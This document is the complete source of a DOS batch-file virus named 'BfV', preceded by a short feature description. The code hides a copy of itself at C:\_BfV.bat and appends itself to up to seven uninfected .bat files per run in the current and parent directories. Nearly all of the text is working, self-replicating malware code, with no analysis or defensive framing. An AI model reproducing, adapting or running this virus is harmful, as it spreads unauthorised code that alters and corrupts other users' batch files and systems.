Batch virus "BfV"

Creates the hidden file "_BFV" in the root directory of drive C
Infects one batch per run in current and parent directories
Gives up after encountering seven infected batches
Virus code is appended to the host batch

This is an improved appender. It only has to be run from its own directory
once to enable it to reproduce even when the host is in a path directory.
To avoid slowing batch files down too much it exits if it can't infect
after checking seven batch files. If the host batch ends with nul characters
it removes them so the virus code will run.




@echo off%[BfV_B]%
if '%1=='## goto BfV_%2
if exist C:\_BfV.bat goto BfV_
if not exist %0.bat goto BfV_end
find "BfV"<%0.bat>C:\_BfV.bat
attrib C:\_BfV.bat +h
:BfV_
command /e:5000 /c C:\_BfV ## run
goto BfV_end
:BfV_run
for %%i in (*.bat ..\*.bat) do call C:\_BfV ## inf %%i
exit BfV
:BfV_inf
if '%BfV%=='1111111 exit
set BfV=%BfV%1
find "BfV"<%3>nul
if not errorlevel 1 goto BfV_end
type %3>BfV
type C:\_BfV.bat>>BfV
move BfV %3>nul
exit BfV
:BfV_end